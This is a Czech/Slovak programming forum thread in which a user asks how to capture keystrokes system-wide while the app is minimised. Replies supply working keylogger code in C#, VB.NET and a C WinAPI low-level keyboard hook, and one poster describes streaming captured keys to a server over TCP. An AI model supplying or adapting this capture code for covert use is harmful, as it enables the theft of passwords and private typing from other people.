Zapisovanie stlačených kláves – .NET – Fórum – Programujte.com
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu

Zapisovanie stlačených kláves – .NET – Fórum – Programujte.comZapisovanie stlačených kláves – .NET – Fórum – Programujte.com

 

Trebor0
Stálý člen
6. 12. 2012   #1
-
0
-

ZDravim. Potreboval by som vediet ako naprogramovat aby sa napriklad do textboxu zapisovali stlačené klávesy a to aj keď by bola aplikácia minimalizovaná a spustena nejaká iná aplikácia. Vopred ďakujem.

Nahlásit jako SPAM
IP: 84.47.13.–
amertak0
Návštěvník
6. 12. 2012   #2
-
0
-

To neni na googlu milion navodu jak udelat keylogger? (ne ze bych to schvaloval)  

Nahlásit jako SPAM
IP: 89.103.132.–
Trebor0
Stálý člen
6. 12. 2012   #3
-
0
-

mozno hej ale neviem ako by som to do google sformuloval lebo ma napadlo len keyboard history a pod týmto mi nenašlo nič

Nahlásit jako SPAM
IP: 84.47.13.–
Atheo+4
Stálý člen
6. 12. 2012   #4
-
0
-

#3 Trebor
Na zachytávání kláves je metoda "GetAsyncKeyState", kterou najdeš v knihovně user32.dll.

[DllImport("User32.dll")] // knihovna pro GetAsynckeyState metodu
private static extern short GetAsyncKeyState(int vKey); // metoda

public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            // všechny možné klávesy
	}

No a zachytávání znaků...

public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            return buffer; 
        }

No tady je samotné zachytávání kláves, které se zapisují do bufferu.

Nahlásit jako SPAM
IP: 188.175.140.–
Trebor0
Stálý člen
6. 12. 2012   #5
-
0
-

a ako to napisem vo vb.net ?

Nahlásit jako SPAM
IP: 84.47.13.–
Atheo+4
Stálý člen
6. 12. 2012   #6
-
0
-

#5 Trebor
Nevím určitě velice podobně visual basic nedělám.

Nahlásit jako SPAM
IP: 188.175.140.–
Radek Chalupa
~ Redaktor
+1
Super člen
6. 12. 2012   #7
-
0
-

Obávám se že GetAsyncKeyState není to co potřebuješ, ta funkce pouze v daném okamžiku zavolání zjistí zda je daná klávesa právě stlačená.

Na tohle je potřeba použít například tohle: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx

A určitě bych to nedělal v .NETu, ten jen na trochu jiný typ aplikací...

Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz

Nahlásit jako SPAM
IP: 213.220.211.–
Trebor0
Stálý člen
7. 12. 2012   #8
-
0
-

No uz sa mi to podarilo a napisal som to takto 

Try
            Dim result As Integer
            Dim key As String
            Dim i As Integer
            For i = 2 To 90
                result = 0
                result = GetAsyncKeyState(i)
                If result = -32767 Then
                    key = Chr(i)
                    If i = 13 Then key = vbNewLine
                    Exit For
                End If
            Next i

            If key = Nothing Then
                If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                    RichTextBox1.Text &= key
                Else
                    RichTextBox1.Text &= key.ToLower
                End If
            End If
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try

porvých par krát mi to fungovalo bez problemov ale teraz to vyhadzuje "object reference not set to an instance of an object". Nikdy som nevedel co mam s týmito chybami spravit... pls poradte...dík

Nahlásit jako SPAM
IP: 84.47.13.–
Radek Chalupa
~ Redaktor
+1
Super člen
7. 12. 2012   #9
-
0
-

#8 Trebor
Jak a kdy voláš ten uvedený kód? Nechápu jak to může fungovat jako keylogger s výjimkou případu že to voláš v nějakém (asi šíleně krátkém) timeru...

Kódu v Basicu úplně nerozumím, ale nebude to tím že když je key "Nothing" (předpokládám že to též co null v C#) tak asi nebude nejlepší nápad ho převádět na malé písmeno a ještě ho přidávat (&= je předpokládám v basicu +=) do stringové property?

Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz

Nahlásit jako SPAM
IP: 213.220.211.–
Trebor
~ Anonymní uživatel
243 příspěvků
8. 12. 2012   #10
-
0
-

Ano je to timer s intervalom 100 ms.

Zasláno z mobilního telefonu.

Nahlásit jako SPAM
IP: 84.47.13.–
Trebor0
Stálý člen
8. 12. 2012   #11
-
0
-

stale mi nejde do hlavy preco mi najprv slo a potom uz a pritom som nic nezmenil 

Nahlásit jako SPAM
IP: 84.47.13.–
Radek Chalupa
~ Redaktor
+1
Super člen
8. 12. 2012   #12
-
0
-

#10 Trebor
Tak to musí být procesor radostí bez sebe 

Takhle to nemůže fungovat, co když stisknu 2 klávesy za méně než tech 100ms nebo naopak držím stlačenou jednu klávesu delší dobu? Uvažoval jsi nad tím?

Upřímně řečeno psát keyloger ve VB v .NETu mi přijde podobně rozumné asi jako jet autem pro noviny do trafiky vzdálené  50 metrů 

Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz

Nahlásit jako SPAM
IP: 213.220.211.–
Radek Chalupa
~ Redaktor
+1
Super člen
8. 12. 2012   #13
-
0
-

Tohle je jednoduchý nástřel kódu keyloggeru ve WinAPI (samozřejmě v céčku) na principu CALLBACK funkce, resp. "hákování zpráv klávesnice"

 Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz

#include "stdafx.h"
#include "resource.h"

HHOOK __hhook = NULL;
HWND __hwnd_vypis = NULL;

void on_key_up(KBDLLHOOKSTRUCT* kbs)
{
	WCHAR _text[100];
	if ((kbs->vkCode >= 0x30 && kbs->vkCode <= 0x39) ||  (kbs->vkCode >= 0x41 && kbs->vkCode <= 0x5A))
		StringCbPrintf(_text, sizeof(_text), L"%c", (char)kbs->vkCode);
	else 
	{
		UINT _scan_code = MapVirtualKey(kbs->vkCode, 0);
		if (_scan_code)
		{
			LPARAM _lp;
			if ((kbs->vkCode >= VK_PRIOR && kbs->vkCode <= VK_DOWN) || kbs->vkCode == VK_INSERT || kbs->vkCode == VK_DELETE)
				_lp = _scan_code << 16 | 1 << 24;
			else
				_lp = _scan_code << 16;
			if (GetKeyNameText((LONG)_lp, _text, sizeof(_text)/sizeof(WCHAR)) == 0)
				return;
		};
	};
	SendMessage(__hwnd_vypis, EM_SETSEL, 0, (LPARAM)-1);
	SendMessage(__hwnd_vypis, EM_SETSEL, (WPARAM)-1, 0);
	SendMessage(__hwnd_vypis, EM_REPLACESEL, (WPARAM)0, (LPARAM)_text);
}

LRESULT CALLBACK keyboard_proc(int kod, WPARAM wparam, LPARAM lparam)
{
	if (kod < 0)
		return CallNextHookEx(__hhook, kod, wparam, lparam);	
	switch (wparam)
	{
	case WM_KEYUP:
		on_key_up((KBDLLHOOKSTRUCT*)lparam);
		MessageBeep(0);
		break;
	}
	return CallNextHookEx(__hhook, kod, wparam, lparam);
}


INT_PTR CALLBACK dialog_proc(HWND hwnd, UINT zprava, WPARAM wparam, LPARAM lparam)
{
	switch (zprava)
	{
	case WM_INITDIALOG:
		__hwnd_vypis = GetDlgItem(hwnd, IDC_VYPIS);
		__hhook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_proc, NULL, 0);
		break;
	case WM_COMMAND:
		switch (LOWORD(wparam))
		{
		case IDOK:
		case IDCANCEL:
			UnhookWindowsHookEx(__hhook);
			EndDialog(hwnd, LOWORD(wparam));
			break;
		}
		break;
	}
	return 0;
}


int APIENTRY _tWinMain(HINSTANCE hinstance, HINSTANCE, LPTSTR, int)
{
	DialogBox(hinstance, MAKEINTRESOURCE(IDD_HLAVNI), NULL, dialog_proc);
	return (int) 0;
}
Nahlásit jako SPAM
IP: 213.220.211.–
Atheo+4
Stálý člen
8. 12. 2012   #14
-
0
-

#13 Radek Chalupa
Co je špatného na tom dělat keylogger v dot netu?

btw: zachytávání kláves se nedělá přes timer... buď je klávesa stisknuta.. nebo není timer je dobrej záhul :D

Nahlásit jako SPAM
IP: 188.175.140.–
Trebor
~ Anonymní uživatel
243 příspěvků
9. 12. 2012   #15
-
0
-

Ja nepotrebujem uplne kazdu klavesu a taky pokrocily keylogger mne staci timer so 100 alebo 50 ms. :)

Zasláno z mobilního telefonu.

Nahlásit jako SPAM
IP: 84.47.13.–
Radek Chalupa
~ Redaktor
+1
Super člen
9. 12. 2012   #16
-
0
-

#14 Atheo
Vzhledem k tomu že celý program bude pár desítek řádků kódu a několik málo volání API funkcí tak není nejlepší nápad natahovat k tomu do paměti celý několikamegový .NET

Přesně jak píšeš, zpracování by se mělo provádět jen a pouze pokud dojde k nějaké klávesnicové akci, ale jak vidím tak tazatel z nějakého důvodu umanutě trvá na timeru, takže asi "tady už nic nepomůže" 

Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz

Nahlásit jako SPAM
IP: 213.220.211.–
Atheo+4
Stálý člen
9. 12. 2012   #17
-
0
-

#16 Radek Chalupa
Timer je určitě ta největší blbost. ;) 

TIP: Já jsem to psal taky v dotNetu, ale já to udělal trošku jinak. Nechal jsem zachytávat klávesy a pomocí TCP spojení jsem si data nechal odesílat na server. Tím to pro mě byl snad nějlepší keylogger co jsem měl v ruce, protože byl realtime. Samozřejmě jako naschvál začal jsem logovat a změnila se mi IP adresa po pádu internetu ( dynamická ) a tím pro mě logování zkončilo tak rychle jak začlo. ;)

Nahlásit jako SPAM
IP: 188.175.140.–
CZechBoY+4
Věrný člen
10. 12. 2012   #18
-
0
-

#17 Atheo
chtěl bych vidět ten server jak by zvládal aktivitu třeba v nějakým kanclu na 10 kompech zároveň, kde všichni píšou nějaký sáhodlouhý dokumenty :D

kašli na VB.NET začni dělat v C#, je to vcelku podobný (ty začátky)

Nahlásit jako SPAM
IP: 213.192.10.–
Atheo+4
Stálý člen
10. 12. 2012   #19
-
0
-

#18 CZechBoY
já dělám v C#... visual basic je kravina :D (nikdy jsem neřekl že dělám VB net pokud se podíváš nahoru tak to tam říkám) a fungovalo by to úplně normálně

Nahlásit jako SPAM
IP: 82.150.162.–
Vaizo0
Stálý člen
10. 12. 2012   #20
-
0
-
Nahlásit jako SPAM
IP: 85.93.127.–
Atheo+4
Stálý člen
10. 12. 2012   #21
-
0
-

#20 Vaizo
Třeba to má jako takový svůj "plán výuky velkého hackera" jen ať si to napíše sám když by rád škodil ostatním. ;)

Nahlásit jako SPAM
IP: 188.175.140.–
Zjistit počet nových příspěvků

Přidej příspěvek

Toto téma je starší jak čtvrt roku – přidej svůj příspěvek jen tehdy, máš-li k tématu opravdu co říct!

Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku

×Vložení zdrojáku

×Vložení obrázku

Vložit URL obrázku Vybrat obrázek na disku
Vlož URL adresu obrázku:
Klikni a vyber obrázek z počítače:

×Vložení videa

Aktuálně jsou podporována videa ze serverů YouTube, Vimeo a Dailymotion.
×
 
Podporujeme Gravatara.
Zadej URL adresu Avatara (40 x 40 px) nebo emailovou adresu pro použití Gravatara.
Email nikam neukládáme, po získání Gravatara je zahozen.
-
Pravidla pro psaní příspěvků, používej diakritiku. ENTER pro nový odstavec, SHIFT + ENTER pro nový řádek.
Sledovat nové příspěvky (pouze pro přihlášené)
Sleduj vlákno a v případě přidání nového příspěvku o tom budeš vědět mezi prvními.
Reaguješ na příspěvek:

Uživatelé prohlížející si toto vlákno

Uživatelé on-line: 0 registrovaných, 3 hosté

 

Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032024 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý